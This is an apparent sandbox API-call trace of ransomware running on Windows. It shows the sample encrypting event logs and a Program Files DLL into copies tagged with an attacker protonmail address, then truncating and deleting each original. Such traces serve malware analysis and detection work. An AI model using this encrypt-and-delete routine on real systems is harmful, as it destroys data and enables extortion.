	[0077.516] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.516] lstrlenW (lpString=".docx") returned 5
	[0077.516] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.516] lstrlenW (lpString=".pdf") returned 4
	[0077.516] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.516] lstrlenW (lpString=".xls") returned 4
	[0077.516] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.516] lstrlenW (lpString=".xlsx") returned 5
	[0077.516] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.516] lstrlenW (lpString=".ppt") returned 4
	[0077.516] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.516] lstrlenW (lpString=".zip") returned 4
	[0077.516] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.516] lstrlenW (lpString=".rar") returned 4
	[0077.516] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.516] lstrlenW (lpString=".bz2") returned 4
	[0077.516] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.517] lstrlenW (lpString=".7z") returned 3
	[0077.517] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.517] lstrlenW (lpString=".dbf") returned 4
	[0077.517] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.517] lstrlenW (lpString=".1cd") returned 4
	[0077.517] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.517] lstrlenW (lpString=".jpg") returned 4
	[0077.517] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.517] lstrlenW (lpString=".doc") returned 4
	[0077.517] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.517] lstrlenW (lpString=".docx") returned 5
	[0077.517] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.517] lstrlenW (lpString=".pdf") returned 4
	[0077.517] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.517] lstrlenW (lpString=".xls") returned 4
	[0077.517] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.517] lstrlenW (lpString=".xlsx") returned 5
	[0077.517] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.517] lstrlenW (lpString=".ppt") returned 4
	[0077.517] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.517] lstrlenW (lpString=".zip") returned 4
	[0077.517] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.517] lstrlenW (lpString=".rar") returned 4
	[0077.517] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.517] lstrlenW (lpString=".bz2") returned 4
	[0077.517] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.518] lstrlenW (lpString=".7z") returned 3
	[0077.518] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.518] lstrlenW (lpString=".dbf") returned 4
	[0077.518] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.518] lstrlenW (lpString=".1cd") returned 4
	[0077.518] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.518] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0077.518] lstrlenW (lpString=".jpg") returned 4
	[0077.518] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.518] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.518] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72
	[0077.518] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0077.522] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=1052672) returned 1
	[0077.522] CloseHandle (hObject=0x37c) returned 1
	[0077.522] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20
	[0077.522] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.522] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0077.522] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.522] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.522] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0077.522] GetLastError () returned 0x0
	[0077.522] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0077.733] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0077.752] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0077.760] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0077.936] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.936] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x164, lpOverlapped=0x0) returned 1
	[0077.936] SetEndOfFile (hFile=0x334) returned 1
	[0077.936] CloseHandle (hObject=0x334) returned 1
	[0077.960] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.960] SetEndOfFile (hFile=0x37c) returned 1
	[0077.961] CloseHandle (hObject=0x37c) returned 1
	[0077.961] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.961] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1
	[0077.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.961] lstrlenW (lpString=".doc") returned 4
	[0077.961] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.962] lstrlenW (lpString=".docx") returned 5
	[0077.962] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.962] lstrlenW (lpString=".pdf") returned 4
	[0077.962] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.962] lstrlenW (lpString=".xls") returned 4
	[0077.962] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.962] lstrlenW (lpString=".xlsx") returned 5
	[0077.962] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.962] lstrlenW (lpString=".ppt") returned 4
	[0077.962] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.962] lstrlenW (lpString=".zip") returned 4
	[0077.962] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.962] lstrlenW (lpString=".rar") returned 4
	[0077.962] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.962] lstrlenW (lpString=".bz2") returned 4
	[0077.962] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.962] lstrlenW (lpString=".7z") returned 3
	[0077.962] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.962] lstrlenW (lpString=".dbf") returned 4
	[0077.962] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.962] lstrlenW (lpString=".1cd") returned 4
	[0077.962] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.962] lstrlenW (lpString=".jpg") returned 4
	[0077.962] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.962] lstrlenW (lpString=".doc") returned 4
	[0077.962] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.962] lstrlenW (lpString=".docx") returned 5
	[0077.963] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.963] lstrlenW (lpString=".pdf") returned 4
	[0077.963] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.963] lstrlenW (lpString=".xls") returned 4
	[0077.963] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.963] lstrlenW (lpString=".xlsx") returned 5
	[0077.963] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.963] lstrlenW (lpString=".ppt") returned 4
	[0077.963] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.963] lstrlenW (lpString=".zip") returned 4
	[0077.963] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.963] lstrlenW (lpString=".rar") returned 4
	[0077.963] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.963] lstrlenW (lpString=".bz2") returned 4
	[0077.963] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.963] lstrlenW (lpString=".7z") returned 3
	[0077.963] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.963] lstrlenW (lpString=".dbf") returned 4
	[0077.963] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.963] lstrlenW (lpString=".1cd") returned 4
	[0077.963] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0077.963] lstrlenW (lpString=".jpg") returned 4
	[0077.963] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.963] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.963] lstrlenW (lpString="Windows PowerShell.evtx") returned 23
	[0077.964] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0077.965] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=69632) returned 1
	[0077.965] CloseHandle (hObject=0x37c) returned 1
	[0077.965] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20
	[0077.965] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.965] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0077.965] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.966] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.966] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0077.966] GetLastError () returned 0x0
	[0077.966] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.137] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.139] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.139] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x102, lpOverlapped=0x0) returned 1
	[0078.139] SetEndOfFile (hFile=0x334) returned 1
	[0078.140] CloseHandle (hObject=0x334) returned 1
	[0078.142] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.142] SetEndOfFile (hFile=0x37c) returned 1
	[0078.143] CloseHandle (hObject=0x37c) returned 1
	[0078.143] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.143] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1
	[0078.144] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.144] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.144] lstrlenW (lpString=".doc") returned 4
	[0078.144] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.144] lstrlenW (lpString=".docx") returned 5
	[0078.144] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.144] lstrlenW (lpString=".pdf") returned 4
	[0078.144] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.144] lstrlenW (lpString=".xls") returned 4
	[0078.144] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.144] lstrlenW (lpString=".xlsx") returned 5
	[0078.144] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.144] lstrlenW (lpString=".ppt") returned 4
	[0078.144] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.144] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.144] lstrlenW (lpString=".zip") returned 4
	[0078.144] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.144] lstrlenW (lpString=".rar") returned 4
	[0078.144] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.144] lstrlenW (lpString=".bz2") returned 4
	[0078.144] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.144] lstrlenW (lpString=".7z") returned 3
	[0078.144] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.144] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.144] lstrlenW (lpString=".dbf") returned 4
	[0078.144] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.145] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.145] lstrlenW (lpString=".1cd") returned 4
	[0078.145] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.145] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.145] lstrlenW (lpString=".jpg") returned 4
	[0078.145] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.145] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.145] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.145] lstrlenW (lpString=".doc") returned 4
	[0078.145] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.145] lstrlenW (lpString=".docx") returned 5
	[0078.145] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.145] lstrlenW (lpString=".pdf") returned 4
	[0078.145] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.145] lstrlenW (lpString=".xls") returned 4
	[0078.145] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.145] lstrlenW (lpString=".xlsx") returned 5
	[0078.145] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.145] lstrlenW (lpString=".ppt") returned 4
	[0078.145] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.145] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.145] lstrlenW (lpString=".zip") returned 4
	[0078.145] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.145] lstrlenW (lpString=".rar") returned 4
	[0078.145] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.145] lstrlenW (lpString=".bz2") returned 4
	[0078.145] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.145] lstrlenW (lpString=".7z") returned 3
	[0078.145] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.145] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.145] lstrlenW (lpString=".dbf") returned 4
	[0078.145] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.145] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.146] lstrlenW (lpString=".1cd") returned 4
	[0078.146] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.146] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0078.146] lstrlenW (lpString=".jpg") returned 4
	[0078.146] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.146] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.146] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0078.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.146] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=19136) returned 1
	[0078.146] CloseHandle (hObject=0x37c) returned 1
	[0078.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20
	[0078.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.147] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.147] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0078.149] GetLastError () returned 0x0
	[0078.149] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0078.151] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0078.152] ReadFile (in: hFile=0x37c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.152] WriteFile (in: hFile=0x334, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x126, lpOverlapped=0x0) returned 1
	[0078.152] SetEndOfFile (hFile=0x334) returned 1
	[0078.152] CloseHandle (hObject=0x334) returned 1
	[0078.154] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.154] SetEndOfFile (hFile=0x37c) returned 1
	[0078.155] CloseHandle (hObject=0x37c) returned 1
	[0078.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.155] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1
	[0078.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99
	[0078.156] lstrlenW (lpString=".doc") returned 4
	[0078.156] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.156] lstrlenW (lpString=".docx") returned 5
	[0078.156] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0078.156] lstrlenW (lpString=".pdf") returned 4
	[0078.156] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.156] lstrlenW (lpString=".xls") returned 4
	[0078.156] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.156] lstrlenW (lpString=".xlsx") returned 5
